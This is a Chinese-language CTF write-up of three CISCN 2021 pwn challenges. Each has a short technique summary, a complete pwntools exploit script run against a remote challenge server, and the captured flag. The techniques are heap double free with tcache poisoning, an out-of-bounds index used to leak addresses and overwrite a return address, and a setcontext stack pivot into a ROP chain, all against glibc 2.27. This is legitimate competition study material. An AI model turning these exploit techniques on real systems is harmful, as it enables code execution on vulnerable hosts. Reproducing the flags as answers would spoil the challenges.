Ciscn2021-pwn
国赛部分pwn题的解答
lonelywolf
double_free leak heap address ，打tcache_struct,leak libc，控制 next指针覆写__malloc_hook为og
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from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
# p = process("./lonelywolf",env={'LD_PRELOAD':"./libc-2.27.so"})
p = remote('123.60.210.12',21885)
def add(size):
p.sendlineafter("Your choice: ", '1')
p.sendlineafter("Index:", '0')
p.sendlineafter("Size:", str(size))
def delete():
p.sendlineafter("Your choice: ", '4')
p.sendlineafter("Index:", '0')
def edit(payload):
p.sendlineafter("Your choice: ", '2')
p.sendlineafter("Index:", '0')
p.sendlineafter("Content: ", payload)
def show():
p.sendlineafter("Your choice: ", '3')
p.sendlineafter("Index:", '0')
libc = ELF('./libc-2.27.so')
one = [0x4f3d5,0x4f432,0x10a41c]
if __name__ == "__main__":
add(0x78)
delete()
edit('8'*9)
delete()
show()
heap_base = u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00')) - 0x260
print(hex(heap_base))
# edit('8'*9)
# delete()
# pause()
edit(p64(heap_base+0x10))
add(0x78)
add(0x78) # ub
edit('A'*0x30)
# add(0x10)
delete()
show()
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96 - 0x10
libcbase = malloc_hook - libc.sym['__malloc_hook']
print(hex(libcbase))
# add(0x78)
edit(p64(malloc_hook)*10)
add(0x10)
og = libcbase+one[2]
edit(p64(og))
# gdb.attach(p)
show()
p.interactive()
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flag = CISCN{iMf3k-MX3gi-NxKKS-IWx8t-5HlNV-}
pwny
数组超界，使用fini_array泄露程序基址，environ泄露栈，覆盖返回地址为og
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from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
# p = process("./pwny",env={'LD_PRELOAD':"./libc-2.27.so"})
libc = ELF('./libc-2.27.so')
def read(idx):
p.sendlineafter('Your choice: ','1')
p.sendafter('Index:',p64(idx))
def write(idx,data):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index:',str(idx))
p.sendline(data)
one = [0x4f3d5,0x4f432,0x10a41c]
# fini_array = 0x201D88
# base = 0x202060
if __name__ == "__main__":
p = remote('123.60.210.12',21970)
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index:',str(256))
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index:',str(256))
write(256, '\x00'*8)
read(0xfffffffffffffffc)
p.recvuntil('Result: ')
stderr_addr = int(p.recv(12),16)
libcbase = stderr_addr - libc.sym['_IO_2_1_stderr_']
print(hex(stderr_addr))
print(hex(libcbase))
# idx = 0xfffffffffffffffc-1
read(0xffffffffffffffa5)
# gdb.attach(p)
p.recvuntil('Result: ')
text_addr = int(p.recv(12),16)
textbase = text_addr - 0x9c0
print(hex(textbase))
env = libcbase + libc.sym['environ']
print(hex(env))
# stack = env - 0x10
base = 0x202060 + textbase
print(hex(base))
# pause()
idx = (env - base)/8
# idx = (~idx) + 1
# print(hex(idx))
read(idx)
p.recvuntil('Result: ')
stack_addr = int(p.recv(12),16)
ret_addr = stack_addr - 0x120
print(hex(ret_addr))
og = libcbase + one[2]
idx = (ret_addr - base )/8
# gdb.attach(p)
write(idx, p64(og))
p.interactive()
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flag = CISCN{5o9ui-tLK7G-D1sUb-VrApG-dIhAm-}
silverwolf
泄漏libc和劫持__free_hook和lonely一样，找chunk分开写ROP，利用setcontext来控制栈迁移，需要两次栈迁移。
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from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch='amd64', os='linux', log_level='debug')
# p = process("./silverwolf", env={'LD_PRELOAD': "./libc-2.27.so"})
libc = ELF('./libc-2.27.so')
p = remote('123.60.210.12', 21921)
def add(size):
p.sendlineafter("Your choice: ", '1')
p.sendlineafter("Index:", '0')
p.sendlineafter("Size:", str(size))
def delete():
p.sendlineafter("Your choice: ", '4')
p.sendlineafter("Index:", '0')
def edit(payload):
p.sendlineafter("Your choice: ", '2')
p.sendlineafter("Index:", '0')
p.sendlineafter("Content: ", payload)
def show():
p.sendlineafter("Your choice: ", '3')
p.sendlineafter("Index:", '0')
if __name__ == "__main__":
add(0x58)
delete()
edit('8'*9)
delete()
show()
p.recvuntil("Content: ")
heap_base = u64(p.recv(6)+'\x00'*2) - 0x1880
print(hex(heap_base))
# gdb.attach(p)
edit(p64(heap_base + 0x10))
add(0x58)
add(0x58) # ub
edit('\x07'*0x30)
delete()
show()
p.recvuntil("Content: ")
libcbase = u64(p.recv(6)+'\x00'*2) - 0x3ebca0
free_hook = libcbase + libc.sym['__free_hook']
write_addr = libcbase + libc.sym['write']
setcontext = libcbase + libc.sym['setcontext']+53
print(hex(libcbase))
pop_rdi = 0x215bf + libcbase
pop_rsi = 0x23eea + libcbase
pop_rax = 0x43ae8 + libcbase
pop_rdx = 0x01b96 + libcbase
pop_rsp = 0x03960 + libcbase
read_call = 0x110140 + libcbase
syscall_ret = 0xd2745 + libcbase
payload = '\x01\x00\x00\x00\x00\x07\x07'+ '\x00'*(64 - 7) + p64(free_hook) + p64(0) * 2
edit(payload)
add(0x10)
edit(p64(setcontext))
add(0x68)
add(0x68)
add(0x68)
edit(p64(heap_base+0x1210+8)+p64(pop_rdi))
add(0x78)
add(0x78)
payload=p64(read_call)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx)+p64(0x30)+p64(write_addr)
edit(payload)
add(0x78)
flag = heap_base+0x1210+8+0x60
orw = ''
orw+= p64(pop_rdi)+p64(flag)+p64(pop_rax)+p64(2)+p64(syscall_ret)
orw+= p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx)+p64(0x30)
orw+= p64(pop_rsp)+p64(heap_base+0x1210-0xa0)
edit(orw+"./flag\x00")
#gdb.attach(p)
delete()
p.interactive()
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flag = CISCN{NEqT9-o7fw0-qYWHr-uPwKk-qJj0T-}